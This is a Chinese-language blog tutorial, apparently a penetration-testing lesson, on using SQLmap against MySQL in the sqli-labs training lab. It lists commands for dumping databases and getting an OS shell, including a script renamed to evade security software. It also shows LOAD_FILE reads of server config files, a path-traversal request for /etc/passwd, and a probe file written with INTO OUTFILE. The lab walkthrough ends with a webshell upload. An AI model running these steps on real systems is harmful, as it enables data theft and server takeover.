当前位置: 首页 > news >正文

【渗透测试】SQLmap实战:一键获取MySQL数据库权限

注:所有技术仅用于合法安全测试与防御研究,未经授权的攻击行为属违法犯罪,将承担法律责任。


一、SQLmap常规用法

注意存放路径:C:\Users\neo\AppData\Local\sqlmap\output

1、列出详细过程和数据库列表

sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch

2、指定一个数据库获取表名:

sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security --tables

3、指定表名获取字段名称

sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security -T users --columns

4、获取指定数据库下指定数据表中的所有数据

sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security -T users --dump
​
#注意存放路径:C:\Users\neo\AppData\Local\sqlmap\output\目标\dump\数据库名称

5、dump所有数据(不建议:提示大于3条包吃包住)

sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch --dump

二、针对 MySQL 的 os-shell 使用方法

1. 基本命令

检测注入点并尝试获取 os-shell

sqlmap -u "http://example.com/page.php?id=1" -dbs --os-shell

指定 MySQL 注入点: 如果已知目标是 MySQL 数据库,可以使用--dbms参数指定,提高效率:

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell

2. 针对 MySQL 的高级参数

指定 MySQL 配置: 如果已知 MySQL 的一些配置信息,可以直接指定以提高成功率:

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --mysql-db=test --mysql-user=root

强制使用文件写入方式: 如果直接执行方式失败,可以强制 SQLMap 使用文件写入方式:

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --force-direct=0

指定 Web 目录: 手动指定已知的 Web 目录路径:

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --web-root="/var/www/html"

指定临时脚本文件名: 自定义临时 PHP 脚本文件名,避免被安全软件检测:

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --file-name="img.php"

三、获取 MySQL 环境 Web 目录的方法

1. 通过 MySQL 系统变量

查询数据目录

SELECT @@datadir;

该命令返回 MySQL 数据文件存储目录,如/var/lib/mysql/,可结合服务器类型猜测 Web 目录。

查询配置文件路径

SELECT @@basedir;

返回 MySQL 安装目录,通常为/usr/local/mysql/C:\Program Files\MySQL\MySQL Server 5.7\

2. 读取 Web 服务器配置文件

如果拥有足够权限,可以直接读取 Web 服务器配置文件获取 DocumentRoot:

读取 Apache 配置

SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf');
SELECT LOAD_FILE('/etc/apache2/apache2.conf');

读取 Nginx 配置

SELECT LOAD_FILE('/etc/nginx/nginx.conf');
SELECT LOAD_FILE('/usr/local/nginx/conf/nginx.conf');

Windows 系统

SELECT LOAD_FILE('C:/Program Files/Apache Group/Apache2/conf/httpd.conf');
SELECT LOAD_FILE('C:/nginx/conf/nginx.conf');

在配置文件中搜索DocumentRoot(Apache)或root(Nginx)即可找到 Web 根目录。

3. 利用错误信息泄露

通过构造特殊请求触发 MySQL 错误,获取路径信息:

文件包含尝试

http://example.com/index.php?id=../../../../../../etc/passwd

如果应用程序直接将参数传递给 MySQL 查询,可能返回包含 Web 目录的错误信息:

Warning: include(../../../../../../etc/passwd) failed to open stream: No such file or directory in /var/www/html/index.php on line 20

4. 写入探针文件

如果拥有 FILE 权限,可以写入一个包含 PHP 信息的探针文件:

SELECT '<?php phpinfo(); ?>' INTO OUTFILE '/var/www/html/phpinfo.php';

访问http://example.com/phpinfo.php,在_SERVER["DOCUMENT_ROOT"]字段可以找到 Web 根目录。

四、OS-Shell靶场实例

来到SQLI靶场第一关

启动sqlmap工具,先扫一下靶场的数据库,留做记录

python sqlmap.py -u http://bachang/sqli-labs-master/Less-1/?id=1 --dbs

在使用 sqlmap 的 --os-shell 功能时,结合 Burp Suite(简称 BP)抓包分析可以清晰观察 sqlmap 与目标服务器的交互过程,理解其如何利用 SQL 注入漏洞执行系统命令。

在SQLI靶场第一关,找到传参点,使用BP抓包

将抓到的包请求保存到文件;less-1.txt中,然后放进SQLmap工具中跑包

python sqlmap.py -r "C:\Users\User\Desktop\less-1.txt" -dbms=mysql --os-shell

获取靶场第一关的MySQL 数据文件存储目录:C:\Users\ruanjian\phpstudy_pro\Extensions\MySQL5.7.26\data\

?id=-1' UNION SELECT 1,@@datadir,3 --+

通过回显结果可以知道,靶场网站是借助小皮工具搭建的,那么第一关的Web可写路径就是:

C:\Users\ruanjian\phpstudy_pro\WWW\bachang

在SQLmap工具中,选择2,手动指定自定义的 Web 可写目录路径。

解决权限问题后,重启SQLmap工具

这里获得了两个url,访问第一个url, 可以看到最下方有文件上传的位置,在这里我们可以上传一句话木马。。

打开蚁剑连接,测试连接成功。

总结:sqlmap --os-shell 的使用需要以下条件。

①知道网站的物理路径。

②网站路径具有写入的权限。

③sqlmap能够跑出数据库。


注:所有技术仅用于合法安全测试与防御研究,未经授权的攻击行为属违法犯罪,将承担法律责任。

http://www.dtcms.com/a/344242.html

相关文章:

  • 如何在 Axios 中处理多个 baseURL 而不造成混乱
  • 用过redis哪些数据类型?Redis String 类型的底层实现是什么?
  • 【Java后端】 Spring Boot 集成 Redis 全攻略
  • java视频播放网站
  • 正点原子【第四期】Linux之驱动开发学习笔记-2.1LED灯驱动实验(直接操作寄存器)
  • 分布式与微服务
  • 20250822在Ubuntu24.04.2下指定以太网卡的IP地址
  • 深度学习入门详解:从神经网络到实践应用
  • 【English】复合句中的先行词在从句中是否充当成分
  • 吉利汽车与芯鼎微成立联合创新实验室共谱车规级LCoS显示新篇章
  • 面向RF设计人员的微带贴片天线计算器
  • Gamma校正硬件设计实现
  • Elasticsearch搜索原理
  • 加密狗如何抵御各类破解与攻击?深度解析加密狗多层保护机制
  • 关于数据产业规模测算的认识与思考
  • Paddle3D-PETRv1 精度测试与推理实践指南
  • JavaSSM框架从入门到精通!第三天(MyBatis(二))!
  • C++ OpenGL中几个常见库及其区别
  • 轮廓检测技术不仅能精确计算图像中的轮廓数量,还能完整记录每个轮廓包含的所有像素点坐标
  • Linux服务测试
  • Jenkins用户授权管理 企业级jenkins授权策略 jenkins用户权限分配
  • Flutter InheritedWidget 详解
  • 学习嵌入式的第二十四天——数据结构——队列和树
  • Flutter 从入门到精通 - 完整课程总结
  • 打印机怎么连接电脑?打印机驱动?【图文详解】USB连接打印机?wifi连接打印机?
  • ZKmall模块商城的跨境电商支付安全方案:加密与权限的双重防护
  • STL关联式容器解析:map与set详解
  • 电脑芯片大的32位与64位指的是什么
  • 94. 城市间货物运输 I, Bellman_ford 算法
  • 解读商业智能BI,数据仓库中的元数据